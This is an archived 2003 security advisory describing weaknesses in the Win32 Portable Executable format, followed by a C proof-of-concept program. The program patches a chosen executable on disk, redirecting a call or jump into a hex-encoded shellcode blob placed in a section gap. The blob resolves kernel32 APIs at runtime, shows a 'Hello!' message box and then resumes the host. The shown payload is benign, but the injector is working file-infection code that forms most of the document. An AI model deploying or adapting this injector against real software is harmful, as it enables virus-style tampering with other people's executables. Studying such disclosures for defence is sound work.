10th Apr 2003 [SBWID-6129]
COMMAND
Portable Executable (PE) File Format For Win32 analysis and
vulnerabilities
SYSTEMS AFFECTED
??
PROBLEM
Exurity Inc. [http://members.rogers.com/exurity/] posted following,
about an analysis and a proof of concept of PE file format
vulnerabilities.
This article illustrates the following vulnerabilities or features of
PE file for Win32 Architecture.
, The explicit linking of Dynamic Link Library executables into a
process, especially the GetProcAddress and LoadLibrary API functions,
has far more consequences than it facilitates normal program developers
the flexibility in linking to their libraries dynamically.
, The intact PE header information, including import and export
library info, left in RAM for a process provides the strong "vines" to
be followed up for GetProcAddress and Kernel32ModuleBase from many
climbing points.
, The virtual address gap between two sequential sections of one
executable, either .exe or .dll, is wide enough to harbor a few "mice
that carry elephants with them through the gap".
, Lack of checking, or weak checking mechanism, for the integrity of
executables on the operating system during the preparation for
launching executables enables the modification of executable files and
and execution of mobile code relatively easy. It seems a lot of
components fail to detect the modification of executables at all.
, Executables, once compiled, linked and delivered, are prone to be
modified by other programs and most of them do not have run-time
self-protection mechanism implemented. This weakness is not only
limited to Win32 application programs. Many executable files for other
operating systems fail to check on themselves during the run-time as
well.
Article is available at:
http://members.rogers.com/exurity/pdf/PE.pdf
Sample program included code
============================
/*
To use this proof-of-concept code, you compile it into an executable after
you copy the content into a Visual C/C++ project. Then, you have to manually
figure out the following values when you run the executable for the victim
executable image:
? The source relative virtual address (RVA) and its file offset to allow the
call/jmp replacment;
? The destination RVA and its file offset to embed the code at. Enough space
has to be found for the embedded code of 0x109 bytes.
? For a jmp replacement, the original opcodes at the source RVA has to be
five bytes with multiple execution units. Otherwise, the movement of 5
bytes opcodes from the source RVA into the embedded code will lead to
unknown results.
? In theory, you have to grow the virtual space for the section where the
embedded code will be inserted. Actually, you do not really have to.
Peter Huang
http://members.rogers.com/exurity/
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define EMBEDME_REPLACE_OFST 0xFC
#define EMBEDME_JMP_OFST 0x105
char embedded[] =
"\x60\x8b\xec\xeb\x29\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79"
"\x41\x00\x75\x73\x65\x72\x33\x32\x00\x4d\x65\x73\x73\x61\x67\x65"
"\x42\x6f\x78\x41\x00\x48\x65\x6c\x6c\x6f\x21\x00\xeb\x05\xe8\xf9"
"\xff\xff\xff\x5b\x8d\x7b\xd2\x57\xeb\x1f\xc1\xeb\x10\xc1\xe3\x10"
"\x66\x81\x3b\x4d\x5a\x75\x0b\x8b\x4b\x3c\x66\x81\x3c\x0b\x50\x45"
"\x74\x06\xc1\xeb\x10\x4b\x75\xe5\xc3\xe8\xdc\xff\xff\xff\x8b\x43"
"\x3c\x40\x8b\x54\x03\x7f\x03\xd3\x8b\x42\x0c\x03\xc3\x8b\x08\x81"
"\xc9\x20\x20\x20\x20\x81\xf9\x6b\x65\x72\x6e\x75\x11\x8b\x48\x04"
"\x81\xc9\x20\x20\x20\x20\x81\xf9\x65\x6c\x33\x32\x74\x05\x83\xc2"
"\x14\xeb\xd5\x8b\x42\x10\x8b\x1c\x03\xe8\x9c\xff\xff\xff\x33\xff"
"\x8b\x4b\x3c\x8b\x74\x0b\x78\x03\xf3\x8b\x4e\x20\x03\xcb\x47\x8b"
"\x11\x03\xd3\x81\x7a\x04\x72\x6f\x63\x41\x74\x05\x83\xc1\x04\x75"
"\xed\x8b\x56\x24\x03\xd3\x0f\xb7\x3c\x7a\x2b\x7e\x10\x8b\x56\x1c"
"\x8d\x14\xba\x8b\x14\x13\x03\xd3\x5f\x52\x53\x57\x87\xd3\x52\xff"
"\xd3\x8d\x4f\x0d\x51\xff\xd0\x8d\x7f\x14\x57\x50\xff\xd3\x33\xc9"
"\x51\x57\x8d\x57\x0c\x52\x51\xff\xd0\x8b\xe5\x61\x90\x90\x90\x90"
"\x90\x90\x90\x90\xe9\xfb\xff\xff\xff";
void EmbedMe(unsigned char * pImage,
DWORD srcRva,
DWORD srcOfst,
DWORD targetRva,
DWORD targetOfst,
BOOL call)
{
unsigned char * pTarget = pImage + targetOfst;
unsigned char * pSrc = pImage + srcOfst;
if ( call )
{
pSrc[0] = 0xE8; // call
* (DWORD * ) (embedded+EMBEDME_JMP_OFST) =
( ( * (DWORD * ) (pSrc + 1) ) + srcRva + 5
- ( targetRva + EMBEDME_JMP_OFST + 4));
* (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) );
}
else
{
memcpy(embedded + EMBEDME_REPLACE_OFST, pSrc, 5 );
pSrc[0] = 0xE9; // jmp
* (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) );
* (DWORD * ) (embedded+EMBEDME_JMP_OFST) =
( srcRva + 5 - (targetRva + EMBEDME_JMP_OFST + 4 ) );
}
memcpy(pTarget, embedded, sizeof(embedded) );
}
int main(int argc, char* argv[])
{
// embedme -c va filename
// embedme -j va filename
HANDLE fHandle;
unsigned char * pImage;
BOOL call = TRUE;
DWORD srcRva, srcOfst, targetRva, targetOfst, fileLow, fileHigh;
if ( argc != 7 )
{
printf("Please notice the following numbers in hex as well as RVA\n"
"To embed the embedded as a callable\n"
" embedme -c SrcRva FileOfst TargetRva TargetOfst filename\n"
"To embed the embedded as a jumpable\n"
" embedme -j SrcRva FileOfst TargetRva TargetOfst filename\n");
return 1;
}
if ( strcmp(argv[1], "-c") != 0 )
call = FALSE;
sscanf(argv[2], "%x", &srcRva);
sscanf(argv[3], "%x", &srcOfst);
sscanf(argv[4], "%x", &targetRva);
sscanf(argv[5], "%x", &targetOfst);
fHandle = CreateFile(argv[6],
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL );
if ( fHandle == INVALID_HANDLE_VALUE )
{
printf("Failed to open file %s for error %d\n", argv[6], GetLastError() );
return 2;
}
fileLow = GetFileSize(fHandle, & fileHigh);
if ( fileHigh || ( fileLow == 0 ) )
{
printf("File is either too big or empty\n", argv[6]);
CloseHandle(fHandle);
return 3;
}
pImage = (unsigned char *) malloc(fileLow);
if ( pImage == NULL )
{
printf("Run out of memory so early?\n");
CloseHandle(fHandle);
return 4;
}
if ( ReadFile(fHandle, pImage, fileLow, &fileHigh, NULL ) &&
( fileLow == fileHigh) )
{
SetFilePointer(fHandle, 0, NULL, FILE_BEGIN); // reset it for writing
EmbedMe(pImage, srcRva, srcOfst, targetRva, targetOfst, call);
if ( ! WriteFile(fHandle, pImage, fileLow, &fileHigh, NULL ) ||
( fileLow != fileHigh ) )
{
printf("Failed to write to file %s for error %d\n",
argv[6], GetLastError() );
}
}
else
{
printf("Failed to read from file %s for error %d\n",
argv[6], GetLastError() );
}
CloseHandle(fHandle);
return 0;
}
SOLUTION
??